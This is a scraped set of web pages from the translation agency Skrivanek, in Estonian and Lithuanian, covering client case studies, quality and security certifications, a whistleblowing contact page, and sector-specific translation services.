Maht: u 40 000 sõna Biomet on juba üle 30 aasta juhtiv ettevõte ortopeedia vallas ning on praeguseks esindatud enam kui 100 riigis, andes tööd 9000 inimesele. Ettevõtet peetakse traumakirurgia vallas äärmiselt uuendusmeelseks. Skrivanek on oma sertifitseeritud meditsiinitõlkijate meeskonnaga tõlkinud Biometile keerulisi tekste juba alates 2005. aastast. Esimese projekti puhul oli tegemist töömahuka 40 000-sõnalise tekstikoguga, mis tuli tõlkida inglise keelest kaheksasse keelde. Lühikesest tähtajast ja tohutust ajasurvest hoolimata õnnestus projekt sujuvalt ning klient jäi tööga väga rahule. Arvestades aastatepikkust kogemust, paluti Skrivanekil hakata Kesk- ja Ida-Euroopa turul lokaliseerima Biometi tootejuhendeid ning see avas ettevõttele uue tulusa turu. Praegu on Skrivanekil kogu maailmas umbes 40 filiaali ning see hõlmab arvukalt kohapealseid lokaliseerimis- ja kompaktkirjastamismeeskondi. Tänu korrapärastele koolitustele ja hindamistele on tagatud kõrged kvaliteedistandardid, mida kinnitavad standardite ISO 9001 ja EN 17100 kohased tunnistused. Skrivaneki põhimõtete kohaselt ei peeta kvaliteeti kindlaks olukorraks, vaid protsessiks, mida saab pidevalt paremaks muuta. ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- - Published: 2022-05-24 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/eiropas-komisija/ - Translation Priorities: Optional Lõppklient: Euroopa Komisjon Projekt: õigus-, põllumajandus- ja IT-alaste tekstide tõlked Lähtekeel: paljud ELi keeled Sihtkeeled: tšehhi, slovaki, poola, sloveeni, ungari, leedu, läti, eesti, rumeenia, bulgaaria Maht: u 100 000 lehekülge Juba üle kümne aasta teeb Skrivanek tõlkeid Euroopa Komisjonile. Tänu oma aastatepikkusele kogemusele Kesk- ja Ida-Euroopa piirkonnas tegeleb Skrivanek eelkõige slaavi ja balti keeltega. Kõnealused tekstid hõlmavad õigus-, põllumajandus- ja IT-valdkonna tõlkeid. Niivõrd suure institutsiooni puhul, kus koostatakse peaaegu pidevalt uusi dokumente, ajakohastatakse ja muudetakse neid ning mitme inimese poolt tohutu ajasurve tõttu vaid pealiskaudselt üle vaadatakse, on kõige olulisem terminoloogiline ühtsus. Euroopa institutsioonide õigusloomes on välja kujunenud oma kindel keelekasutus. Skrivanek on tänu sertifitseeritud erialatõlkijate toetusele ning tõlkeabiprogrammide kasutamisele hästi kohanenud ning kujunenud ELile usaldusväärseks partneriks. Praegu on Skrivanekil kogu maailmas umbes 40 filiaali ning see hõlmab arvukalt kohapealseid lokaliseerimis- ja kompaktkirjastamismeeskondi. Tänu korrapärastele koolitustele ja hindamistele on tagatud kõrged kvaliteedistandardid, mida kinnitavad standardite ISO 9001 ja EN 17100 kohased tunnistused. Skrivaneki põhimõtete kohaselt ei peeta kvaliteeti kindlaks olukorraks, vaid protsessiks, mida saab pidevalt paremaks muuta. ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- - Published: 2022-05-24 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/ge-healthcare/ - Translation Priorities: Optional Lõppklient: GE Healthcare Projekt: meditsiinitehniliste juhendite tõlkimine ja graafilised tööd Lähtekeel: inglise Sihtkeeled: tšehhi, bulgaaria, horvaadi, eesti, ungari, leedu, läti, poola, rumeenia, vene, serbia, slovaki, sloveeni, türgi Maht: u 8 miljonit sõna GE Healthcare toodab tuleviku-meditsiinitehnikat ning varustab turgu infotehnoloogia ja diagnostikatehnikaga, ravimiuuringute ning biofarmatseutiliste tootmistehnoloogiatega. Ettevõte annab kogu maailmas tööd peaaegu 50 000 inimesele ning varustab patsiente enam kui 100 riigis. Skrivanek tõlkis GE Healthcare’ile kompuutertomograafi tehnilised juhendid inglise keelest 14 keelde. Lisaks ligikaudu 8 miljonile sõnale hõlmas projekt ka trükivalmis juhendite kujundamist. Tõlgetega töötas meeskond, kuhu kuulusid erialatõlkijad, toimetajad, graafikud ja projektijuhid ning projekt anti kokkulepitud tähtajaks üle, tagades kliendi täieliku rahulolu. Kõnealuste keelelise keerukuse ja mahukuse poolest nõudlike projektidega on võimalik toime tulla üksnes tänu tõhusale projektijuhtimisele ja sujuvale töövoole. Ettevõtte graafilise disaini stuudio abil sai ühest tööetapist teise viivituseta üle minna ning tähtajad optimaalselt välja arvestada ja neid ka järgida. Praegu on Skrivanekil kogu maailmas umbes 40 filiaali ning see hõlmab arvukalt kohapealseid lokaliseerimis- ja kompaktkirjastamismeeskondi. Tänu korrapärastele koolitustele ja hindamistele on tagatud kõrged kvaliteedistandardid, mida kinnitavad standardite ISO 9001 ja EN 17100 kohased tunnistused. Skrivaneki põhimõtete kohaselt ei peeta kvaliteeti kindlaks olukorraks, vaid protsessiks, mida saab pidevalt paremaks muuta. ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- - Published: 2022-05-24 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/geutebruck/ - Translation Priorities: Optional Lõppklient: Geutebrück Projekt: tõlkimine – tehnilised dokumendid ja turundustekstid Lähtekeel: saksa Sihtkeeled: inglise, prantsuse, itaalia, hispaania, vene, türgi, hollandi, araabia, leedu Maht: u 3 miljonit sõna Geutebrück on tuntud videovalvesüsteemide tootja ning ta on praegu maailma 50 edukaima pakkuja seas 29. kohal. Geutebrück töötab välja videovalvesüsteeme, muu hulgas ka energeetika- ja pangandussektorile ning õiguskaitseasutustele. Sama mitmekesine nagu on Geutebrücki tegevusalade valik on ka tema keeleline mõõde. Ettevõtte tark- ja riistvara on välja töötatud ning toodetud Saksamaal ja seda müüakse kogu maailmas enam kui 40 riigis 200 töötaja kaasabil. Selline ulatuslik rahvusvaheline korraldus nõuab kogenud ja kvalifitseeritud tõlkijaid ning sujuvalt kulgevat projektijuhtimist. Geutebrück leidis, et Skrivanek täidab mõlemad nõudmised, ning on juba 2006. aastast alates Skrivanek Deutschlandi olulisim partner. Tähtaegade lühendamiseks, aga eelkõige kliendi terminoloogia järgimiseks ning seega ka keelelise ühtluse tagamiseks võeti kohe alguses kasutusele tõlkeabiprogrammid, milles pakutavad vasted vaadatakse korrapäraselt läbi. Tänu dünaamilisele projektijuhtimisele ja Skrivanek Deutschlandi ennetavate lahenduste leidmisele suunatud tegutsemisele valmivad ka kõige nõudlikumad projektid alati õigeks tähtajaks. ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- - Published: 2022-05-24 - Modified: 2024-01-03 - URL: https://skrivanek.lv/gadijumu-izpete/kallfass/ - Translation Priorities: Optional Lõppklient: Kallfass Projekt: tõlkimine – tehnilised dokumendid ja turundustekstid Lähtekeel: saksa Sihtkeeled: norra, eesti, leedu, soome, rootsi, tšehhi, ungari, poola, rumeenia, serbia, kreeka, prantsuse, itaalia, portugali Maht: u 750 000 sõna Kallfass on juba 50 aastat tegutsenud edukalt kilepakkeseadmete tehnoloogia vallas koos edasimüüjate ja äripartneritega, kes on esindatud kogu maailmas. Kallfassi väljatöötatud pakkimismasinaid ostavad rahvusvahelised kliendid peaaegu kõigist tegevusvaldkondadest. Nende väga keeruliste masinate väljatöötamine ja tootmine nõuab spetsiifilist firmaomast terminoloogiat, mis tuleb mitmesse sihtkeelde järjekindlalt ja täpselt ümber tõlkida. Skrivanek võttis selle väljakutse vastu, toetudes oma professionaalsele projektijuhtimisele ning uusimale tõlketarkvarale, millega tagatakse ühelt poolt terminoloogiline ühtsus ning teiselt poolt säästetakse aega ja raha. Kallfass ja Skrivanek on lähedased äripartnerid juba alates 2009. aastast ning tagasi vaadates on koostöö olnud edukas ja usalduslik. Üheskoos liigutakse kindlalt paljutõotava tuleviku suunas. ROHKEM KUI 25 AASTAT KOGEMUST! Võimaldab meil pakkuda teile parimaid tõlkelahendusi. 0+ keelt erinevates kombinatsioonides 0+ milj. tõlgitud sõna (2023) 0+ keeleeksperti 0 ISO sertifikaati --- > Priimtos vadybos sistemos (ISO 9001, ISO 14001, EN 17100, ISO / IEC 27001) patvirtina, kad prisiimame atsakomybę už tai, ką darome, ir laikomės terminų! - Published: 2022-05-20 - Modified: 2024-10-31 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional Siekdama gerinti teikiamų paslaugų kokybę, stiprinti „Skrivanek“ pozicijas kalbų paslaugų sprendimų rinkoje ir tobulinti aplinkosaugos bei informacijos saugumo priemones, „Skrivanek“ įdiegė keletą vadybos sistemų. Didžiuojamės, kad „Skrivanek“ buvo pirmoji kalbų paslaugų teikėja Vidurio ir Rytų Europoje, kuri visiškai atitiko kokybės vadybos sistemos EN ISO 9001 reikalavimus ir jau 2002 m. gavo „TÜV Suddeutschland Holding“ išduotą sertifikatą. Tačiau nesustojome ties tuo, kas pasiekta, ir mūsų specialistai sistemingai dirbo siekdami užtikrinti, kad teikiamos paslaugos ir aptarnavimo lygis atitiktų standarto EN 17100:2015 reikalavimus. Šiame standarte tiesiogiai vertimo paslaugų teikėjams nustatyti procesų valdymo reikalavimai. Esame aplinką tausojanti įmonė, todėl esame įdiegę aplinkosaugos vadybos sistemą, atitinkančią standarto EN ISO 14001:2015 reikalavimus. Viena iš „Skrivanek“ vertybių yra atsakomybė už klientus, kuri apima ir jai patikėtų duomenų saugumą, todėl neseniai įdiegėme informacijos saugumo valdymo sistemą ir gavome ISO/IEC 27001:2022 sertifikatą. 2021 m. rudenį „Skrivanek“ taip pat gavo ISO 18587 sertifikatą, kuris patvirtina, kad įmonė įgyvendino visas būtinas procedūras, užtikrinančias kokybišką mašininio vertimo tekstų postprocesą. Šis tarptautinis standartas, skirtas mašininio vertimo tekstų redagavimui, arba vertėjo atliekamam mašininio vertimo tekstų vėlesniam apdorojimui, yra dar palyginti naujas. EN ISO 9001 Įdiegta kokybės vadybos sistema EN ISO 9001:2015 patvirtina, kad bendrovė įdiegė ir įgyvendina reikiamus procesus, užtikrinančius, kad teikiamų paslaugų kokybė atitiktų klientų reikalavimus ir teisės aktų reikalavimus. Peržiūrėti sertifikatą EN ISO 14001 Gautas EN ISO 14001:2015 sertifikatas patvirtina, kad mūsų įmonė rūpinasi aplinka, įskaitant aplinkai draugiškų technologijų ir medžiagų naudojimą versle, atliekų rūšiavimą ir tik būtinų dokumentų spausdinimą. Peržiūrėti sertifikatą EN 17100 Darbas pagal EN 17100: 2015 vertimo procesų valdymo standartą reiškia, kad mūsų įmonės įdarbinimo, bendravimo, projektų valdymo, darbo eigos, technologijų naudojimo ir kiti su šia sritimi susiję aspektai atitinka reikalavimus. Peržiūrėti sertifikatą ISO / IEC 27001 Įdiegta informacijos saugumo valdymo sistema ISO/IEC 27001:2022 patvirtina, kad mūsų įmonėje įdiegtos informacijos apsaugos priemonės ir užtikrinta reikiama kontrolė, užtikrinanti mūsų bendradarbiavimo partneriams patikėtų duomenų saugumą ir konfidencialumą. Peržiūrėti sertifikatą ISO 18587 Šis standartas skirtas kalbų paslaugas teikiančioms įmonėms, kad jos galėtų išmatuojamai ir nuolat gerinti poredagavimo proceso kokybę. ISO 18587 auditas daugiausia apima poredakcinio redagavimo procesus ir darbo eigą, kai projekto vadovas ir redaktorius dirba kartu, kad užbaigtų projektą. Peržiūrėti sertifikatą Dažniausiai užduodami klausimai Esame ISO 9001, EN 17100, ISO 27001, ISO EN 14001 ir ISO EN 18585 sertifikuota įmonė. Didelį dėmesį skiriame konfidencialumui, prisiimame atsakomybę už tai, ką padarėme, ir neatidėliojame terminų! Standarte EN 17100 nustatyti procesų valdymo reikalavimai, tiesiogiai skirti vertimo paslaugų teikėjams. Siekdami užtikrinti savo klientų ramybę, sudarėme profesinės civilinės atsakomybės sutartį su tarptautine draudimo bendrove „Colonnade Insurance SA“. Taip pat teikiame vertimus, patvirtintus notaro arba biuro. Ne, visus vertimo paslaugų užsakymus priima ir prižiūri projekto vadovas, kuris yra tarpininkas tarp kliento ir vertėjo. „Skrivanek Baltic“ vertėjai raštu ir žodžiu verčia į daugiau nei 110 kalbų. Teikiame vertimo žodžiu ir raštu paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose , verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Rašytiniai vertimai apima specializuotus ir bendruosius vertimus įvairiose srityse. Taip pat teikiame lokalizavimo, teksto adaptavimo ir kūrimo, DTP ir kalbų mokymo paslaugas. INFORMACIJOS SAUGUMO POLITIKA Vairāk INTEGRUOTA KOKYBĖS IR APLINKOSAUGOS VADYBOS POLITIKA Vairāk RINKOJE JAU DAUGIAU NEI 25 METUS! Turime daug patirties verčiant tekstus įvairiomis temomis. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- - Published: 2022-05-20 - Modified: 2022-08-30 - URL: https://skrivanek.lv/trauksmes-celsana/ - Translation Priorities: Optional SIA „Skrivanek Baltic“ kontaktinis asmuo, atsakingas už pranešimų apie pažeidimus teikimą, yra Jeļena Lapoška, Administracinio skyriaus vadovė. Tel. : +371 67240364 El. pašto adresas: trauksme@skrivanek. lv (pageidaujamas būdas pateikti perspėjimą) Pranešimo apie pažeidimus atveju užtikrinamas konfidencialumas. Atsakymas į ataskaitą bus pateiktas ne vėliau kaip per dvi savaites nuo ataskaitos gavimo. Ataskaitos gavimo patvirtinimas bus pateiktas per 3 darbo dienas. Anoniminis rašytinis (pvz. , el. paštu) ar žodinis pranešimas nelaikomas perspėjimu. Jei SIA „Skrivanek Baltic“ nustatys, kad klausimas nepriklauso jos kompetencijai, pranešimas bus perduotas kompetentingai institucijai. PRANEŠĖJAS TURI TEISĘ ĮSPĖTI APIE TOKIUS PAŽEIDIMUS: korupcija ir sukčiavimas; etikos ar profesinių standartų pažeidimai; valstybės tarnautojų neveikimas, aplaidumas ar piktnaudžiavimas tarnybine padėtimi; viešųjų pirkimų pažeidimai; valstybės lėšų ar turto švaistymas; pavojus visuomenės sveikatai; pavojus aplinkos saugai; pavojus darbo saugai; žmogaus teisių pažeidimai; konkurencijos teisės pažeidimai ir kiti Pranešimo apie pažeidimus įstatyme nurodyti atvejai. KAS NELAIKOMA PRANEŠIMU APIE PAŽEIDIMUS? Sąmoningas melagingų pareiškimų teikimas, valstybės paslaptį sudarančios informacijos atskleidimas ir pranešimas tik apie asmeninius interesus. Jei asmuo pateikė paraišką ir nenurodė, kad tai yra pranešimas apie pažeidimus, jis gali prašyti, kad paraiška būtų pripažinta pranešimu apie pažeidimus, kol nagrinėjamas jos pagrįstumas. PRANEŠIMUI APIE PAŽEIDIMUS TEIKIMUI GALI BŪTI NAUDOJAMAS VIENAS IŠ TOLIAU NURODYTŲ MECHANIZMŲ: vidinė pranešimų apie pažeidimus teikimo sistema; kreipimasis į kompetentingą instituciją; kreipimasis į pranešėjų kontaktinį centrą arba asociaciją ar fondą, įskaitant profesinę sąjungą ar profesinių sąjungų asociaciją; vidinė pranešimų apie pažeidimus teikimo procedūra grindžiama Pranešimų apie pažeidimus teikimo įstatymu. Pranešimų apie pažeidimus įstatymo tikslas – skatinti pranešimų apie pažeidimus kėlimą dėl viešojo intereso ir užtikrinti pranešimų apie pažeidimus mechanizmų sukūrimą ir veikimą bei tinkamą pranešėjų apsaugą. --- > See sertifikaat tõestab meie pühendumust keskkonnale, sealhulgas keskkonnasõbralike tehnoloogiate ja materjalide kasutamist, ringlussevõttu jne. - Published: 2022-05-19 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-iso-14001-vides-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN ISO 14001:2015 – KESKKONNAJUHTIMISSÜSTEEM --- > See tõestab, et meie tõlkespetsialistide värbamine, tööprotsess, tehnoloogiate kasutamine ja muud valdkondlikud aspektid vastavad nõuetele. - Published: 2022-05-19 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/en-17100-tulkosanas-procesu-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional EN 17100:2015 – TÕLKETEENUSTE STANDARD --- > Kuna üks Skrivaneki väärtusi on vastutus klientide ees, mis hõlmab ka andmete turvalisust, oleme võtnud kasutusele infoturbe juhtimissüsteemi. - Published: 2022-05-19 - Modified: 2024-10-30 - URL: https://skrivanek.lv/kvalitate-un-drosiba/iso-iec-27001-informacijas-drosibas-vadibas-sistemas-sertifikats/ - Translation Priorities: Optional ISO/IEC 27001:2022 – TEABETURBE JUHTIMISSÜSTEEM --- - Published: 2022-05-18 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-medicinas-un-klinisko-petijumu-nozarei/ - Translation Priorities: Optional Meditsiini- ja kliiniliste uuringute sektor on valdkonnad, kus ollakse eriti nõudlikud ja igasuguste kõrvalekallete suhtes kompromissitud. Igasugune meditsiinisektori uus teave kontrollitakse mitu korda üle, kuna vajalik on veenduda selle täpsuses ning üheselt mõistetavuses. Meditsiinitekstide näol on tegemist ühe kõige keerulisema tekstiliigiga, millega tegelevad vaid sertifitseeritud spetsialistid. Just seetõttu koosneb Skrivaneki meditsiinitekstide tõlkijate meeskond arstidest ja kõrgema meditsiinilise haridusega inimestest, kellel on kogemus filoloogia vallas ja suurepärane emakeeleoskus. Meditsiinitekstidega töötades on tõlkijad ja toimetajad igati teadlikud oma vastutusest, kui väljastatakse ebatäpselt ja hooletult teostatud tõlge. Skrivaneki keelespetsialistid tagavad teenuste täpsuse ja tähtaegadest kinnipidamise. Meil on olemas standardite ISO 27001 ja ISO 17100 kohased sertifikaadid. Veelgi enam, me garanteerime, et meile usaldatud teavet ei avalikustata kolmandatele osapooletele. Kui vajate tõlkeid erinevatele turundusbrošüüridele, patsientide terviseandmetele, kliiniliste uuringute dokumentidele või muudele kirjalikele materjalidele või soovite tellida suulise tõlke teenust konverentsidele või teistele üritustele, on Skrivanek teie jaoks olemas, tagades parimad tõlketulemused. TUNNEME UHKUST KOOSTÖÖ ÜLE MITMETE TUNTUD MEDITSIINI- JA KLIINILISTE UURINGUTE ETTEVÕTETE NING ORGANISATSIOONIDEGA. SKRIVANEK PAKUB MEDITSIINI- JA KLIINILISTE UURINGUTE VALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID LAHENDUSI: kliiniliste uuringute ja meditsiinidokumentide (epikriisid, kliinilised kokkuvõtted, haiguslood, laborikatsed, arstide arvamused jne) tõlkimine; ravimitega seotud dokumentide (ravimikirjeldused, arstidele mõeldud ja patsienditeabe erinevad vormid, kvaliteedikontrolli dokumendid jne) tõlkimine; meditsiiniseadmeid käsitlevate materjalide (kasutusjuhendid, seadmekirjeldused jne) tõlkimine; meditsiini- ja ravimitööstusega seotud teadusartiklite ja veebilehtede tõlkimine ja lokaliseerimine; jooniste ja plaanide kujundus, sealhulgas elektronkirjastamise lahendused (DTP); sünkroon- või järeltõlge konverentsidele ja seminaridele või suhtluses patsientidega, samuti sünkroontõlge viipekeelde suhtluses patsientidega; eri tasemel keeleõpe, sealhulgas välismaale tööle minevate meditsiinitöötajate ettevalmistus; muud keelelahendused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- > Kvaliteetsed lahendused personalitööstusele: kirjalik ja suuline tõlge. Lokaliseerimine ja keelekoolitus. Lisateave! - Published: 2022-05-18 - Modified: 2024-06-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Personalivaldkonnas on teie eesmärk leida ja meelitada ligi oma ala parimaid spetsialiste, kes on võimelised ja nõus teie projektidele kaasa aitama. Skrivaneki meeskond koosneb keelespetsialistidest, kes aitavad teil võõrkeeles leida sobivaid sõnu, et võiksite oma tulevaseks koostööks valida välja vaid parimatest parimaid partnereid. See on eelkõige oluline juhul, kui otsite mitmes keeles suhelda oskavaid töötajaid: meie ainulaadne FOCUS-vahend aitab teil kiiresti ja tõhusal viisil selgusele jõuda, milline on teie kandidaatide keelepädevus ja keeleoskuse tase. Personalivaldkonnas on oluline edastada samad ettevõtlusväärtused kõigile firma töötajatele, olenemata nende suhtluskeelest. Skrivaneki keelespetsialistid tagavad kõigis Euroopa suurimates keeltes täpsed kirjaliku ja suulise tõlke teenused, nii et võite olla kindel, et teie väljendatud mõte ei ole tõlkes kaduma läinud. Skrivaneki tõlkijad pakuvad kvaliteetseid tõlkeid kõigile teie soovitud dokumentidele, sealhulgas töölepingud, ettevõttesisesed eeskirjad, teavitused jpm. Meie keelespetsialistid mõistavad suurepäraselt kultuuride- ja kohalike turgude vahelisi erinevusi ja on seeläbi võimelised koostama tekste kindlatele sihtrühmadele mis tahes riigis või keeles. Veelgi enam, pakume ka tekstide kohandamist konkreetse sihtrühma tarbeks. SKRIVANEK PAKUB PERSONALITÖÖ JA INIMRESSURSSIDE VALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID KEELELAHENDUSI: töölepingute ja teiste kokkulepete tõlkimine; tööintervjuudes osalemine ja kandidaadi keeleoskuse hindamine; ettevõtete sisekorraeeskirjade tõlkimine; ettevõttesiseste teabevahetusmaterjalide tõlkimine; soovituskirjade tõlkimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas konverentsid, ärilõunad või -õhtusöögid ning ärikohtumised; keeleõpe rühmadele ja üksikisikutele; veebipõhine keeleoskuse kontrollimise vahend FOCUS; muud keelelahendused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-18 - Modified: 2024-01-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Põllumajandus- ja metsandustööstusel on Eesti majanduses äärmiselt oluline roll, kuid nende areng ei ole ilma piiriülese koostööta võimalik. Üks eduka ettevõtte arengu eeltingimus on suhtlus ilma keelebarjäärita. Skrivaneki keelespetsialistid aitavad teid suhtluses klientide, partnerite ja Euroopa Liidu institutsioonidega, nii et saate südamerahuga keskenduda oma põhitegevusele. Meie tõlkijatel ja tõlkidel on laialdane kogemus kõikvõimalike kirjalike ja suuliste tõlgete alal, näiteks tänu suurtele rahvusvahelistele projektidele saadud töökogemus. Veelgi enam – tänu meie spetsialistide põllumajandusalastele teadmistele on meil võimalik teile tagada täpsed tõlked, milles on kasutatud korrektset sõnavara, mis on nõutav muu hulgas erinevate põllumajandus- ja metsandusmasinate kasutusjuhendite ning meie regioonis asjakohaste taimekasvatussuuniste tõlkimiseks. Skrivaneki keelespetsialistide arv on piisavalt suur, et leida teie vajadustele kõige paremini vastav asjatundja. Meie asjatundjad on spetsialiseerunud järgmistele valdkondadele: taime-, karja-, linnu-, sea- ja lambakasvatus, maaviljelus, sordi- ja tõuaretus, metsateadus ning põllumajanduslik maaparandus. Sel põhjusel oleme sageli just meie osutunud väljavalitud koostööpartneriks riigi- ja omavalitsusasutustele ning põllumajandus- ja metsandussektoris tegutsevatele ettevõtetele. SKRIVANEK PAKUB PÕLLUMAJANDUS- JA METSANDUSVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISI KEELELAHENDUSI: tehniliste standardite ja dokumentide tõlkimine; toote- ja tööstusseadmete kirjelduste tõlkimine; teadusartiklite ja uuringute tõlkimine; masinahooldust ja seadmete kasutamist käsitlevate dokumentide tõlkimine; eri liiki litsentside, lubade ja muude dokumentide tõlkimine; ELi direktiivide selgituste ja täpsustuste tõlkimine; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas konverentsid, seminarid, kogemuste vahetamised ja ärikohtumised; erialane keeleõpe; muud keelelahendused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME VÄLJA JUST TEILE SOBIVA LAHENDUSE. Saada päring Kindlustus Ehitus Personalitöö ja inimressursid (HR) Finantssektor ja pangandus IT ja mängud Põllumajandus Õigus Metsandus Tehnoloogia- ja raudteesektor Meditsiin ja kliinilised uuringud Töötlev tööstus Reklaam ja turundus Kaubandus Turism Riigi- ja omavalitsusasutused USALDUSVÄÄRSUS. KVALITEET. KRKA, d. d. Skrivaneki meeskond on abivalmis ja vastutulelik. Meie päringutele, mis on seotud meditsiinitekstide tõlgetega, lähenetakse väga mõistvalt ka siis, kui on vaja tõlkida mitmest eri keelest korraga. Tellimused teostatakse, järgides kõrgeid kvaliteedistandardeid ja eetikanorme, ning kinni peetakse ka tähtaegadest.  Adidas Baltic Skrivaneki töötajad on väga abivalmid ning lähenevad mõistvalt meie tõlgete spetsiifikale, mis hõlmab Baltikumis räägitavaid keeli. Soovitame ka teistel firmadel kasutada Skrivaneki pakutavaid teenuseid.  Sandoz d. d. Soovitame Skrivanek Balticut kui usaldusväärset koostööpartnerit, kui on vaja tõlkida suuremahulisi projekte, mis nõuavad professionaalset lähenemist.  --- - Published: 2022-05-18 - Modified: 2024-03-26 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Kahtlemata olete teadlik, kui oluline võib olla õige sõnade valik. Vähem on mõnikord hoopis rohkem.  SKRIVANEK PAKUB REKLAAMI- JA TURUNDUSVALDKONNAS KÕIGIS LEVINUMATES EUROOPA KEELTES JÄRGMISEID TÕLKETEENUSEID: reklaamtekstide kirjutamine (copywriting) ja loovtekstide kohandamine; igat liiki digitaalsete ja trükivormingus turundusmaterjalide tõlkimine, näiteks müügidokumendid, stiilijuhendid, toodete teabelehed, e-posti põhised kampaaniad jne; kirjalikus, video- ja audiovormingus reklaamtekstide tõlkimine; reklaamlausete, loosungite ja viitamisteenuse AdWords märksõnade tõlkimine; veebilehtede, sealhulgas sihtlehtede tõlkimine; elektronkirjastamise lahendused – DTP; sünkroon- või järeltõlge erinevateks üritusteks, sealhulgas seminarid, konverentsid ja esitlused; muud teenused vastavalt teie vajadustele. VÕTKE MEIEGA ÜHENDUST! KUULAME MEELELDI TEIE SOOVE JA TÖÖTAME 